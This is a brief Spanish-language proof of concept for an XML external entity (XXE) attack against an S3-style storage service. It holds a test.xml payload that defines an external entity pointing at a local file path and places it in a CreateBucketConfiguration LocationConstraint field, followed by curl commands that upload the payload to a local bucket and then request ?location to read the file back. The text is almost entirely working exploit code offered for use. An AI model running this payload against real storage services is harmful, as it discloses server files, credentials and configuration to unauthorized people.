
PoC de Entidad Externa XML en un S3.
Explotando una vulnerabilidad de entidad externa XML (XXE).
test.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///path/to/file">
]>
<CreateBucketConfiguration>
<LocationConstraint>&xxe;</LocationConstraint>
</CreateBucketConfiguration>
Usa curl para subir test.xml desde nuestra máquina local al bucket.
curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type: application/xml" -d @test.xml
Dispara el exploit y obtén el archivo.
curl http://127.0.0.1:PORT/TB1?location